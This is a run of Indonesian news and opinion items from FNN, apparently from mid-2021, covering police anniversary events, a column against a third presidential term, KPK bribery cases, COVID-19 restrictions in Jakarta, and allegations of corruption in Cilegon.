mencatat adanya penambahan 1,300 eksportir baru serta 98 komoditas ekspor pertanian baru sebagai dampak terbukanya akses informasi ekspor. (mth)

Presiden Jokowi: Polri Harus Benahi dan Perkuat Manajemen Kelembagaan

Jakarta, FNN - Presiden RI Joko Widodo menyampaikan Polri harus membenahi dan memperkuat manajemen kelembagaan dalam rangka menghadapi tantangan zaman dan tuntutan yang kian kompleks. "Dalam rangka menghadapi tantangan zaman dan tuntutan masyarakat yang semakin kompleks, Polri harus membenahi dan memperkuat manajemen kelembagaan-nya," kata Presiden dalam peringatan ke-75 tahun Hari Bhayangkara di Istana Negara, Jakarta, Kamis, sebagaimana disaksikan melalui tayangan Youtube Sekretariat Presiden. Presiden juga menyampaikan Polri harus membenahi secara komprehensif kebijakan perencanaan, kebijakan pengorganisasian, kebijakan penganggaran serta monitoring dan evaluasi, dengan memanfaatkan ilmu pengetahuan dan teknologi terkini untuk mendukung Polri yang modern. Presiden mengucapkan selamat Hari Bhayangkara ke-75 tahun serta menyampaikan apresiasi setinggi-tingginya atas kerja keras jajaran Polri dalam menangani pandemik COVID-19. Presiden menyampaikan sangat mengetahui betul sinergitas Polri dengan TNI, tenaga kesehatan, kementerian/lembaga dan pemerintah daerah dalam menangani pandemik. Presiden meminta jajaran Polri untuk terus aktif mendukung kebijakan jajaran pemerintah dalam penanganan COVID-19. "Sekali lagi saya menyampaikan penghargaan setinggi-tingginya," ujar Presiden. (mth)

Mewaspadai Penumpang Gelap Amandemen

Oleh: Tamsil Linrung TETIBA amandemen bak magnet yang menyedot atensi banyak pihak. Tidak cuma didamba elit parpol, amandemen juga dirindu sekelompok masyarakat. Diskursusnya menggema, dari media sosial hingga gedung parlemen. Amandemen UUD 1945 memang sebuah kebutuhan. Pun bagi DPD, mengingat amandemen menjadi satu-satunya pintu masuk menguatkan kewenangan lembaga tersebut. Sejak masa anggota DPD periode lampau, tujuan penguatan ini telah digagas, diracik, dan diusulkan. Namun, tidak juga ada sambutan hangat dari kamar sebelah. Kini gayung bersambut. Kebutuhan amandemen bagi DPD berbaur dengan kepentingan partai politik. Konon, istana ikut pula cawe-cawe dari belakang panggung. Pembauran kepentingan itu bisa jadi memuluskan langkah membuka kotak pandora amandemen. Namun, juga sekaligus menjadi alarm bagi kita untuk mewaspadai potensi penumpang gelap. Salah satunya, wacana presiden tiga periode. DPD menyadari situasi itu. Bila kotak pandora dibuka, bukan tidak mungkin pengusung wacana tiga periode ikut menari pada tabuhan gendang yang sama, untuk selanjutnya bergerilya dengan beringas. Ini dimungkinkan bila sang penumpang gelap disponsori petinggi politik yang berkelindan dengan oligarki. Jadi, kalkulasinya harus meyakinkan sebelum memutuskan melangkah. Sejauh ini suasananya relatif kondusif. Mayoritas partai menyatakan menolak wacana tiga periode atau perpanjangan masa jabatan presiden. DPD sendiri sejak awal telah menegaskan hal yang sama. Masalahnya, politik bukan ilmu pasti. Selalu ada variabel lain yang potensial membuncah. Terlebih, ada beberapa partai yang masih berbicara normatif, tidak tegas memosisikan diri. Juga ada pimpinan lembaga legislatif yang punya jejak digital pernah mendorong wacana tiga periode. Jadi, walaupun suasana kebatinan secara umum menunjukkan penolakan terhadap wacana tiga periode, namun konsistensinya tidak bisa dijamin linier hingga putusan amandemen diketuk. Inilah yang harus diwaspadai. Kontradiktif Situasinya serba kontradiktif. Pada saat Presiden Jokowi menyatakan menolak wacana tiga periode, disaat yang sama presiden membiarkan Komunitas Jokowi-Prabowo 2024 mengusung dirinya, bergerilya di sana-sini. Ketika elit parpol ramai-ramai menampik tiga periode, inisiator Jokpro 2024 Mohammad Qodari justru makin optimistis. Pembentukan pengurus daerah Jokpro jalan terus dan konon bakal didirikan di seluruh provinsi. Fenomena itu tidak boleh dipandang remeh. Apalagi, ketika pintu amandemen dibuka, sulit mencari jalan kembali, kecuali mengetoknya dengan keputusan-keputusan. Yang dikhawatirkan adalah ketika pemilik suara yang kini menolak, tetiba berbalik arah dengan alasan klasik: mengikuti kehendak rakyat. Untungnya, rakyat menolak. Sebanyak 74 persen menyatakan tetap memilih dua periode, dan hanya 13 persen yang setuju tiga periode, demikian temuan survey Saiful Mujani Research Center (SMRC), 21-28 Mei 2021. Qodari meyakini dapat membalikkan keadaan dengan menguber dukungan dari bawah. Namun, politik bedak agaknya mulai menemui karmanya. Bertumbuhnya politik ideologi sedikit demi sedikit menggeser pesona politik pencitraan. Mahasiswa yang tadinya disangka tidur panjang, tetiba menghentak. Gelar King Of Lip Service diberikan kepada Jokowi. Politik ideologi yang mengedepankan pertarungan ide dan gagasan harus dipupuk sehingga makin subur jelang kontestasi elektoral 2024. Dalam perspektif ini pula seharusnya sudut pandang kita dibangun saat mencerna gagasan presiden tiga periode. Bertahun-tahun pikiran masyarakat diinjeksi dan dikenakan kacamata kuda hingga alam bawah sadar selalu fokus pada dua nama. Itu terlihat dari gegap gempita pembentukan Seknas Jokpro 2024, wacana presiden tiga periode, atau survei ini dan itu, yang sengaja atau tidak, adalah injeksi massal kesekian kalinya. Pada pemilu 2014 dan 2019 Jokowi dan Prabowo bermusuhan. Kini, menuju 2024, kemasannya rekonsiliasi. Konon agar rakyat tidak terbelah. Faktanya, meski telah menyatu dalam satu kubu pemerintahan yang sama, rakyat tetap saja terbelah. Yang menyatu hanya elit, tidak mengikutkan akar rumput. Bangsa ini terlalu kerdil bila kembali diperhadapkan dengan orang yang telah berkali-kali mencalonkan diri. Seolah negeri tidak punya pilihan lain. Seolah nyawa republik hanya bergantung pada satu-dua orang. Negara Merapuh Padahal, kalau berbicara prestasi, nyaris tidak ada hal gemilang yang bisa dibanggakan. Yang ada malah sebaliknya. Negara perlahan semakin rapuh seiring pandemi yang tak kunjung teratasi, ekonomi terpuruk, utang menggunung yang bahkan untuk membayar bunganya saja harus dengan mengutang lagi. Sayangnya, dalam perdebatan tiga periode, kita tidak menemukan berkembangnya diskursus dari sudut pandang tersebut. Yang ada, masyarakat terus-menerus dicekoki nama-nama dengan argumentasi rekonsiliasi atau kemungkinan perubahan konstitusi melalui amandemen. Bagi DPD, amandemen memang sebuah kebutuhan. Hari ini, hampir semua elit kekuasaan tidak membuka ruang yang cukup bagi rakyat untuk mentransformasikan paradigma checks and balances. Sebagai wakil rakyat yang memiliki legitimasi kuat, penguatan lembaga DPD ditujukan ke arah itu. Namun keinginan itu bukan sesuatu yang dipaksakan. DPD tidak egois. Ada hal lain yang harus diperjuangkan demi tegaknya demokrasi. Salah satunya adalah medobrak aturan angkuh bernama Presidential Throshold, ambang batas 20 persen bagi partai untuk mengajukan calon presiden. PT telah banyak dianalisis. Pada pokoknya, sistem ini diyakini mengebiri demokrasi, melanggengkan oligarki, dan mengamputasi munculnya calon pemimpin alternatif yang boleh jadi lebih unggul. Pelaksanaan dua pemilu terakhir telah menunjukkan daya rusak PT. Karena itu, DPD berpendapat PT sebaiknya nol persen saja. Sejalan dengan itu, DPD merasa telah saatnya ikut bertarung di gelanggang. Melalui amandemen, DPD sekaligus memperjuangkan hak mengajukan calonnya sendiri. Jika lembaga DPR bisa melahirkan beberapa calon sebagai konsekuensi jumlah fraksi dengan calon sendiri-sendiri, maka DPD cukup mengajukan satu pasang calon saja. Meski tidak berimbang, tapi saya kira itu fair dan berkeadilan. Penulis adalah anggota DPD RI

Tersangka Pengaturan Proyek Indramayu Dikonfirmasi Usulan Bantuan Pemprov

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi dua tersangka mengenai barang bukti berupa dokumen pengusulan bantuan dana Pemerintah Provinsi Jawa Barat untuk Pemerintah Kabupaten Indramayu. KPK, Rabu (30/6), memeriksa Anggota DPRD Jabar Ade Barkah Surahman (ABS) dan mantan Anggota DPRD Jabar Siti Aisyah Tuti Handayani (STA) sebagai tersangka kasus dugaan suap terkait pengaturan proyek di lingkungan Pemerintah Kabupaten Indramayu, Jawa Barat Tahun 2019. "Masing-masing diperiksa dalam kapasitasnya sebagai tersangka, tim penyidik mengonfirmasi antara lain terkait dengan berbagai barang bukti berupa dokumen mengenai pengusulan bantuan dana pemprov untuk Pemkab Indramayu," kata Plt Juru Bicara KPK Bidang Pencegahan Ipi Maryati Kuding dalam keterangannya di Jakarta, Kamis. Selain itu, kata dia, tim penyidik juga mengonfirmasi soal dugaan aliran sejumlah uang terhadap dua tersangka tersebut. "Dan dugaan adanya aliran sejumlah uang untuk para tersangka dan pihak-pihak lainnya," ungkap Ipi. KPK telah menetapkan keduanya sebagai tersangka pada 15 April 2021. Ade Barkah diduga menerima suap Rp750 juta. Sedangkan Siti Aisyah diduga menerima Rp1,050 miliar. Keduanya disangkakan melanggar Pasal 12 huruf a atau huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan Atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 56 ayat 1 ke-1 KUHP. Diketahui, kasus tersebut adalah salah satu dari banyak kasus yang diawali dari kegiatan tangkap tangan KPK. Pada 15 Oktober 2019, KPK menggelar kegiatan tangkap tangan di Indramayu. Hasilnya, KPK menetapkan empat orang sebagai tersangka, yaitu Bupati Indramayu 2014-2019 Supendi, Kepala Dinas PUPR Kabupaten Indramayu Omarsyah, Kepala Bidang Jalan di Dinas PUPR Kabupaten Indramayu Wempy Triyono, dan Carsa ES dari pihak swasta. Saat ini, empat orang tersebut telah divonis Majelis Hakim Tipikor dan telah mempunyai kekuatan hukum tetap. Kasus tersebut kemudian dikembangkan lebih lanjut dan pada Agustus 2020, KPK menetapkan tersangka lain, yakni Anggota DPRD Jabar Abdul Rozaq Muslim. Saat ini, masih dalam proses persidangan di Pengadilan Tipikor Bandung. Dalam konstruksi disebut bahwa Carsa diduga menyerahkan uang kepada Ade Barkah secara langsung dengan total sebesar Rp750 juta. Carsa juga diduga memberikan uang secara tunai langsung kepada Abdul Rozaq maupun melalui perantara dengan total sekitar Rp9,2 miliar. Dari uang yang diterima Abdul Rozaq tersebut kemudian diduga diberikan kepada Anggota DPRD Jabar lain diantaranya Siti Aisyah dengan total sebesar Rp1,050 miliar. (mth)

"Upacara Korps Raport" Tujuh Jenderal Awali HUT Ke-75 Bhayangkara

Jakarta, FNN - Peringatan HUT Ke-75 Bhayangkara ditandai dengan digelar-nya "Upacara Korps Raport" kepada tujuh jenderal atau perwira tinggi kepolisian di Gedung Rupatama, Mabea Polri, Jakarta Selatan. Kepala Divisi Humas Polri Irjen Pol Argo Yuwono dalam keterangan tertulis yang diterima, Kamis, menyebutkan pelaksanaan Upacara Korps Raport ini tertuang dalam surat telegram nomor STR/544/VI/KEP./2021 tanggal 29 Juni 2021, yang ditandatangani oleh Asisten SDM Irjen Pol Sutrisno Yudi Hermawan atas nama Kapolri Jenderal Listyo Sigit Prabowo. "Ya ada kegiatan Korps Raport tujuh perwira tinggi," kata Argo. Upacara Korps Raport kenaikan pangkat tujuh jenderal itu dilaksanakan Rabu (30/6) malam atau sehari sebelum peringatan HUT Bhayangkara 1 Juli. Tujuh jenderal tersebut terdiri atas tiga orang jenderal bintang dua, dan empat jenderal bintang satu. Tiga perwira tinggi yang mengemban jenderal bintang dua (Irjen), yakni Irjen Pol Guntur Setyanto menjabat sebagai Kapolda Bengkulu, Irjen Pol Mulyatno menjabat sebagai Widyaiswara Kepolisian Utama I Sespim Lemdiklat Polri dan Irjen Pol Victor Gustaaf Manoppo selaku Pati Baharkam Polri dalam penugasan pada Kementerian Kelautan dan Perikanan. Sementara empat perwira tinggi lainnya naik pangkat menjadi Brigjen atau jenderal bintang satu, yakni Brigjen Pol Syamsul Bahri sebagai Widyaiswara Madya Sespim Lemdiklat Polri, Brigjen Pol Benone Jesaja Louhenapessy menjabat sebagai Pati Baintelkam Polri dalam penugasan pada Badan Intelijen Negara (BIN). Kemudian, Brigjen Pol Hadi Purnomo sebagai Pati Polda Aceh penugasan pada BIN dan Brigjen Pol Anom Wibowo menjabat sebagai Pati Bareskrim Polri penugasan pada Kemenkumham. "Upacara Korps Raport diselenggarakan dengan menerapkan standar protokol kesehatan yang ketat. Para peserta dilakukan test Swab COVID-19," kata Argo. (mth)

P-21 dan Pengawalan Serius

By M Rizal Fadillah Bandung, FNN - P-21 bukan nomor bus kota tetapi kelengkapan berkas perkara agar Jaksa siap mendakwa tersangka dalam persidangan Pengadilan. Dengan P-21 sebagaimana keterangan pihak Kejaksaan Agung, maka 2 (dua) tersangka kasus pembunuhan enam laskar FPI telah matang untuk ditingkatkan status menjadi terdakwa. Meskipun dinilai sangat lambat akan tetapi hal ini adalah satu kemajuan. Mengingat tersangka adalah aparat penegak hukum yang secara institusional beririsan dengan Kejaksaan, maka perlu pengawasan publik yang lebih serius. Meski sistem peradilan kita tidak mengenal keterlibatan publik (Juri, misalnya) namun pengawalan publik dalam kasus pelanggaran HAM ini menjadi sangat perlu. Demi transparansi dan obyektivitas peradilan itu sendiri. Tim Pengawal Peristiwa Pembunuhan (TP3) Enam Laskar FPI walaupun memiliki pandangan sendiri mengenai status pelanggaran HAM yang terjadi, harus tetap mengawal tahap peradilan ini. Tempatkan peradilan saat ini sebagai tahap pertama menuju tahap kemudiannya, bukti bahwa telah terjadi pelanggaran HAM berat. TP3 penting untuk bekerjasama dengan banyak elemen baik itu Komisi Kejaksaan, Komisi Yudisial, Amnesty Internasional Indonesia, YLBHI, Komnas HAM atau lembaga lain yang bergerak dalam bidang penegakan hukum dan HAM. Media menjadi elemen strategis pula bagi pengawasan. Perlu kerja "keroyokan" untuk mengawal kasus besar yang menimpa dan memalukan bangsa Indonesia ini. Di sisi lain pengaduan yang dilakukan baik kepada "Internasional Criminal Court" (ICC) atau "Committee Against Torture" (CAT) tetap dipantau perkembangannya sebagai antisipasi jika terjadi peradilan sesat (rechterlijke dwaling) yang mencerminkan bahwa pemerintah "unwilling" dan "unable" dalam menuntaskan kasus yang berhubungan dengan "crime against humanity" ini. Pembunuhan Enam laskar FPI adalah kasus serius kejahatan HAM. Dengan dua tersangka FR dan MYO sebenarnya rawan. MYO adalah driver sehingga posisinya hanya sebagai pembantu perbuatan jahat. Fokus menjadi hanya pada satu pelaku yaitu FR. Jika FR mengalami sesuatu, misalnya seperti Elwira kecelakaan yang menimbulkan kematian, maka akan tamatlah kasus ini. Sejak awal saran terbaik bagi kedua tersangka ini adalah ditahan. Untuk mengurangi risiko. Meskipun demikian, publik belum tentu percaya bahwa pembunuhan enam anggota laskar hanya dilakukan oleh dua (atau satu) tersangka saja, dugaan sejumlah aparat terlibat juga cukup kuat. Tuntutan untuk pengusutan mungkin berkelanjutan. Lagi pula kasus pelanggaran HAM, apalagi HAM berat, tidaklah mudah lapuk oleh zaman. Satu rezim mungkin bisa saja menutupi kejahatannya, namun suatu saat rezim lain akan membukanya kembali. *) Pemerhati Politik dan Kebangsaan

Ketua Komisi A DPRD DKI Nilai PPKM Darurat Sulit Diterapkan Saat Ini

Jakarta, FNN - Ketua Komisi A Dewan Perwakilan Rakyat Daerah (DPRD) DKI Jakarta Mujiyono menilai Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat akan sulit diterapkan saat ini. Pasalnya, kata politisi Demokrat ini, keuangan DKI saat ini tidak memadai untuk melaksanakan PPKM Mikro di Jakarta sehingga dibutuhkan bantuan dari pemerintah pusat. "Kalau pemerintah pusat tidak membantu, ya ekonomi DKI akan berantakan, PAD (Pendapatan Asli Daerah) kita jeblok," kata Mujiono melalui sambungan telepon, Rabu. Realisasi PAD DKI, kata Mujiyono, saat ini masih rendah. Per bulan Mei lalu ia menyebutkan realisasi PAD tersebut kurang lebih 18 persen. "Sekarang berbeda dengan dulu ketika Maret 2020 (awal pandemi), DKI uangnya ada, belum lagi ada dana cadangan daerah Rp1,4 triliun, itu saya bilang cukup dan bisa dilakukan PPKM ekstra ketat atau lockdown atau apapun namanya," ucap Mujiyono. Karenanya, Mujiyono meminta sebelum menerapkan PPKM Darurat pemerintah provinsi perlu mempertimbangkan neraca keuangan daerah. Terlebih, kata dia, sulit melakukan "refocusing" Anggaran Pendapatan dan Belanja Daerah (APBD) untuk mengalokasikan dana yang dibutuhkan selama PPKM Darurat berlangsung. "Artinya, kalau angka-angkanya digeser, bagaimana dengan cash flow DKI? Tetap yang jadi pertimbangan adalah realisasi PAD," tutur dia. Diinformasikan, beredar kabar pemerintah pusat akan menerapkan PPKM Darurat, termasuk di DKI Jakarta. Gubernur Anies Baswedan mengatakan rapat mengenai hal itu masih dalam finalisasi terutama oleh Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan beserta jajarannya. Luhut juga disebut akan menjadi ketua penanganan COVID-19 di wilayah Jawa-Bali. Nantinya, lanjut Anies, dalam aturan yang tengah digodok akan dibuat semacam kriteria. Menurut Anies, wilayah seperti kabupaten atau kota akan mengacu kepada kriteria tersebut untuk menentukan masuk ke dalam kategori apa wilayah mereka. "Dan juga akan ada panduan detail tentang bentuk-bentuk pembatasan yang akan dilakukan," ucap Anies. (mth)

Pemulung Pulo Gadung Berharap Polri Beri Bantuan Berkelanjutan

Jakarta, FNN - Komunitas pemulung di Pulo Gadung, Jakarta Timur, mengharapkan Polri dapat menyalurkan bantuan sosial secara berkelanjutan dan tepat sasaran bagi masyarakat yang membutuhkan. Hal itu diungkapkan perwakilan Ikatan Pemulung Indonesia Atib saat menerima bantuan dari Polri dalam rangka HUT ke-75 Bhayangkara di kawasan Sunan Giri, Pulo Gadung, Jakarta Timur, Rabu. "Semoga Polri semakin dicintai dan harapan pemulung mudah-mudahan berkelanjutan berbagi dengan komunitas kami," kata Atib. Sementara itu, Karo Pengkajian dan Strategi Asisten Logistik Polri Brigjen Pol Budi Siswanto mengatakan lembaga Polri menggelar bakti sosial secara serentak di seluruh polda dalam rangka perayaan HUT ke-75 Polri yang jatuh pada 1 Juli 2021. Budi menyebutkan Polri menyalurkan 2.415 paket kebutuhan bahan pokok bagi komunitas pemulung di Pulo Gadung dan Bantar Gebang, untuk membantu warga terdampak pandemi COVID-19. "Semoga baksos meringankan saudara kita, dan tentunya kita sama-sama memerangi segera menuntaskan COVID-19 di Indonesia,” ujar Budi. Peringatan Hari Bhayangkara ke-75 mengusung tema "Transformasi Polri yang Presisi mendukung percepatan penanganan COVID-19 untuk masyarakat sehat dan pemulihan ekonomi nasional menuju Indonesia maju". Kegiatan peringatan HUT Polri itu akan dilaksanakan secara serentak di seluruh polda hingga 9 September 2021 nanti. Kepala Korps Lalu Lintas Polri Irjen Pol Istiono mengemban tugas sebagai Ketua Panitia Bakti Sosial (Baksos) Serentak Hari Bhayangkara ke-75. Istiono menuturkan penerima bantuan sembako, yakni masyarakat yang terdampak pandemi COVID-19 dengan jumlah 272.662 paket sembako dan 272.662 botol hand sinitizer, serta 2.521.815 masker yang akan dibagikan kepada masyarakat. Bantuan tersebut dibagikan kepada berbagai golongan masyarakat, seperti yatim piatu, fakir miskin, kaum dhuafa, panti jompo, panti asuhan, panti sosial, ojek pangkalan, sopir, kaum disabilitas, Purnawirawan Warakawuri TNI-Polri, tenaga medis, UMKM terdampak pandemi dan masyarakat lain yang sangat membutuhkan. (mth)

Jakarta Butuhkan 2.156 Nakes dan 5.139 Vaksinator

Jakarta, FNN - Wakil Gubernur DKI Jakarta Ahmad Riza Patria mengatakan, Jakarta masih membutuhkan sekitar 2.156 tenaga kesehatan dan 5.139 vaksinator untuk penanggulangan COVID-19 di Ibu Kota. "Jumlah tenaga kesehatan kebutuhan nakes ini sedang ditambah, tenaga profesional ini membutuhkan tambahan 2.156, tenaga vaksinator perlu ditambah lagi 5.139," kata Riza di Balai Kota Jakarta, Selasa malam. Meski membutuhkan tenaga yang cukup banyak, politisi dari Partai Gerindra ini memastikan Pemprov DKI Jakarta terus menambah jumlah tenaga kesehatan (nakes) dan meningkatkan fasilitasnya agar pasien COVID-19 di Jakarta bisa ditangani dengan baik. "Jadi semuanya akan kami tambah. Rumah sakit rujukan, okupansi daripada tempat tidur rumah sakit ditingkatkan, kemudian juga nakes, ruang ICU, semuanya, lab, vitamin, obat-obatan, masker, semuanya ditingkatkan," kata Riza. Namun, Riza berharap, dengan adanya peningkatan fasilitas kesehatan bukan berarti masyarakat abai dengan penyebaran COVID-19 yang meninggi akhir-akhir ini. Dia menegaskan bahwa cara terbaik untuk memberangus virus ini dengan cara mencegah penularannya. "Menghadang di hulu itu pilihannya adalah seluruh warga kami minta untuk berada di rumah. Kemudian laksanakan prokes secara disiplin dan ketat, apalagi sekarang ada varian baru yang sudah sangat cepat menular," kata dia. Penambahan kasus COVID-19 dari data yang masuk pada Selasa tercatat sejumlah 7.379 kasus. Dengan penambahan kasus tersebut, angka kasus aktif COVID-19 di Jakarta kini di angka 65.923 kasus. Sementara itu, angka kematian kembali bertambah 78 kasus sehingga tercatat 8.426 orang meninggal dunia akibat COVID-19 di Jakarta. (sws)

Kemeko Polhukam: Selesaikan Delik Pers ke Dewan Pers

Badung, FNN - Plt Deputi Bidang Koordinasi Komunikasi, Informasi dan Aparatur Kemenko Polhukam, Marsma TNI Oka Prawira, mengharapkan jajaran pemerintah yang memiliki sengketa dengan pers hendaknya menyelesaikan delik pers yang terjadi dengan mengadukan ke Dewan Pers. "Pers itu mendorong supremasi hukum, demokrasi, dan kebhinnekaan, serta memenuhi hak masyarakat, tapi masyarakat tetap dapat mengontrol pers melalui Dewan Pers. Kalau pers ada kekurangan, adukan ke Dewan Pers," katanya di Kuta, Kabupaten Badung, Bali, Rabu. Saat membuka Forum Komunikasi Media Massa bertema "Peningkatan Pemahaman tentang Delik Pers bagi ASN dan Wartawan" yang diadakan Kemenko Polhukam bersama Dewan Pers di Bali secara luring-daring itu, ia menegaskan bahwa forum komunikasi ini mendorong kolaborasi pemerintah dan pers. "Kemenko Polhukam dan Dewan Pers akan mendorong terus kolaborasi pemerintah dan pers, sehingga tidak ada sengketa antara ASN dengan pers, tapi semuanya dikembalikan pada UU Pers Nomor 40 Tahun 1999 yakni melalui Dewan Pers," katanya. Dalam forum yang dihadiri jajaran Kominfo se-Bali, kalangan pers, asosiasi media, dan Humas TNI-Polri itu, narasumber yang hadir adalah Agus Sudibyo (Ketua Komisi Hubungan Antar Lembaga dan Internasional, Dewan Pers), Agung Dharmajaya (Ketua Komisi Hukum dan Perundang-undangan, Dewan Pers), dan Wayan Suyadnya (pemimpin Media Bali). Senada dengan itu, Anggota Dewan Pers, Agus Sudibyo, mengatakan jajaran Humas/Kominfo sering mengeluhkan pemberitaan yang negatif, padahal berita negatif itu belum tentu salah sebagai kritik, asalkan memenuhi kode etik yakni imbang, tidak menghakimi, akurat, bukan ranah privasi, dan tidak memeras. "UU Pers juga mengatur bila pers melakukan kesalahan atau melanggar kode etik di atas, maka gunakan hak jawab (korban) yang ditembuskan ke Dewan Pers, jangan takut dengan wartawan kalau memang benar, tapi jangan bertindak gegabah dengan melakukan kekerasan, karena kebenaran bisa samar/kabur. Jadi, tulisan ditutup dengan tulisan," katanya. Selain itu, Ketua Komisi Hubungan Antar Lembaga dan Internasional di Dewan Pers itu menyarankan jajaran Humas/Kominfo untuk membedakan produk jurnalistik dengan perilaku jurnalis. "Kalau kesalahan tulisan ya ke Dewan Pers, tapi kalau jurnalis memeras ya pidana," katanya. Ia menambahkan Dewan Pers akan melakukan sidang sengketa pers dalam 1-2 minggu untuk menjatuhkan sanksi yakni hak jawab, hak jawab dan permintaan maaf, atau hak jawab diabaikan/ditolak memungkinkan ada proses hukum/pidana. Hal itu juga dibenarkan Ketua Komisi Hubungan Antar Lembaga dan Internasional di Dewan Pers, Agung Dharmajaya. "Kalau ASN tidak nyaman dengan pers jangan ke Polri, karena ada UU Pers dan MoU Polri-Kominfo-Kejakgung bahwa soal pemberitaan itu selesaikan ke Dewan Pers," katanya. Soal media online dan media sosial yang sering berdalih dengan "running news" sehingga konfirmasi terhadap suatu hal akan dilakukan menyusul, ia menilai bila terkait kasus itu harus ada konfirmasi dalam satu berita dengan kasusnya. Dalam kesempatan itu, pemimpin Media Bali, Wayan Suyadnya, mengatakan tokoh masyarakat bermasalah dengan pers seringkali tidak menggunakan hak jawab tapi langsung menuntut permintaan maaf. "Kalau seperti itu ya media itu kalah, jadi seharusnya hak jawab itu," katanya. (sws)

Polisi Tetapkan Guru Besar USU Prof Yusuf Henuk Tersangka UU ITE

Medan, FNN - Penyidik Polres Tapanuli Utara (Taput), Sumatera Utara, menetapkan Guru Besar Fakultas Pertanian Universitas Sumatera Utara (USU) Prof Yusuf L Henuk sebagai tersangka kasus pelanggaran Undang-Undang Informasi dan Transaksi Elektronik (ITE). "Ditetapkan sebagai tersangka pelanggaran UU ITE karena diduga mencemarkan nama baik pelapor atas nama Alfredo Sihombing dan Martua Situmorang," kata Kasubag Humas Polres Taput Aiptu Walpon Baringbing yang dikonfirmasi Rabu. Kasus tersebut berawal dari laporan Alfredo Sihombing pada tanggal 22 April 2021 terkait unggahan di akun Facebook milik Prof Yusuf Henuk yang dianggap mencemarkan nama baik. Dalam postingan tersebut, ia menuliskan 'Saya buat surat terbuka saya ke presiden Jokowi pada tanggal 24 Maret 2021, lalu meminta ijin Prof. Lince Sihombing untuk beri kesempatan saya untuk tampil melawan para bandit yang dipimpin Bupati Taput & hebatnya Alfredo Sihombing sok jagoan kampung datang cari saya di IAKN-Tarutung jadi saya tampil semakin beringas buat surat/laporan polisi di Polres Taput pada tanggal 26 April 2021'. Kemudian pada 17 Mei 2021, Prof Yusuf Henuk dilaporkan oleh Martua Situmorang atas postingan Facebook yang diduga mencemarkan nama baik. Atas laporan tersebut, penyidik melakukan penyelidikan dan menemukan bukti permulaan yang cukup atas laporan tersebut Kemudian penyidik melakukan gelar perkara dan hasilnya meningkatkan penyelidikan tersebut menjadi penyidikan dan menetapkan Prof Yusuf Henuk sebagai tersangka UU ITE. "Penetapan tersangka ini sesuai dengan Pasal 27 ayat (3) Jo 45 ayat (3) Undang-Undang Nomor 19 Tahun 2016 tentang Perubahan Atas Undang-Undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik," ujarnya. (mth)

Sujiwo Tejo Sarankan BEM UI Panggil Rektor Klarifikasi Jabatan Rangkap

Jakarta, FNN - Kritik yang dilancarkan Badan Eksekutif Mahasiswa (BEM) Univeristas Indonesia kepada Presiden Joko Widodo (Jokowi), turut disorot budayawan Sujiwo Tejo. Kritik BEM UI yang menjuluki Jokowi sebagai 'King of Lip Service' atau Raja Omong Kosong menjadi viral di media sosial Twitter. Tak berselang lama setelah unggahan di Twitter BEM UI viral, sejumlah pengurus BEM UI mendapatkan surat panggilan dari rektorat. Undangan pihak rektorat bertujuan agar pengurus BEM UI memberi klarifikasi soal konten mereka yang mengkritik Presiden Jokowi. Ketua BEM UI Leon Alvinda Putra mengaku sempat diminta untuk menghapus (take down) konten kritik tersebut, namun BEM UI menolaknya. Seiring ramainya perbincangan konten kritik BEM UI untuk Presiden Jokowi, beredar kabar Rektor UI Ari Kuncoro yang menjabat sebagai komisaris di salah satu bank BUMN. Padahal, Peraturan Pemerintah (PP) tentang Statuta Universitas Indonesia Nomor 68 Tahun 2013 menerangkan, rektor dilarang merangkap sebagai pejabat di perusahaan BUMN atau beberapa institusi lainnya. Sutradara Angga Dwimas Sasongko kemudian melontarkan ide melalui akun Twitter pribadinya @anggasasongko agar BEM UI memanggil rektor ke sekretariat mereka untuk mengklarifikasi soal rangkap jabatan tersebut. "Coba @BEMUI_Official kirim surat ke Rektorat @univ_indonesia, panggil Rektor ke sekre BEM untuk klarifikasi. Rektor sudah hidup di luar koridor hukum nih," cuitnya. Ide Angga Dwimas Sasongko itu didukung oleh Sujiwo Tejo. "Setuju. Sudah saatnya BEM UI memanggil rektornya utk klarifikasi benar/gak rektor merangkap jadi komisaris BUMN yg per peraturan Ilegal? Pada hari Minggu juga," cuit Sujiwo Tejo di akun Twitter pribadinya.

Ada Mafia Proyek dan Jabatan di Kota Cilegon, KPK Harus Turun!

Jakarta, FNN - Center for Budget Analysis (CBA) mendorong Komisi Pemberantasan Korupsi (KPK) untuk segera turun ke Kota Cilegon. Hal ini berkaitan dugaan jual beli jabatan dan praktik mafia proyek dalam internal pemerintahan Kota Cilegon. Di mana KPK diminta melakukan pendalaman atas dugaan praktik jual beli jabatan yang dilakukan oleh oknum ASN berinisial F. Oknum ASN ini diduga memiliki hubungan dengan salah pejabat di pemerintahan Kota Cilegon sehingga berani melakukan praktik kotor tersebut Di mana semua ASN Kota Cilegon yang mau naik pangkat atau pengen jabatan basah harus melalui seorang pejabat berinsial F. Tanpa melalui F, kemungkinan susah mendapat jabatan yang diinginkan meskipun ASN tersebut sangat berpretasi. Selain dugaan praktik jual beli jabatan, KPK juga harus segera melakukan penyelidikan atas dugaan mafia proyek oleh pelaku berinisial AA. AA diduga sebagai orang kepercayaan Walikota Cilegon sehingga berlagak jawara ia datang ke setiap OPD Kota Cilegon meminta jatah proyek. Dan Praktik preman minta jatah proyek sangat merugikan APBD Kota Cilegon, karena APBD Kota Cilegon, bukan punya insial AA. APBD Kota Cilegon adalah punya rakyat Cilegon. CBA juga mengingatkan dengan jargon dan cita-cita Walikota Cilegon Helldy Agustian yang selalu didengungkan yakni “mencanangkan Cilegon Baru dan bermartabat”, sayangnya jargon dan praktif di lapangan ternyata berlawanan. “Maka untuk itu, adanya dugaan mafia proyek APBD dan Jual beli jabatan, sudah sebaiknya KPK untuk segera mengirim Tim pemtauan di Kota Cilegon,” tegas Direktur CBA Uchok Sky Khadafi. (mth)

Kota Bogor Darurat Covid-19, ke Mana Bima?

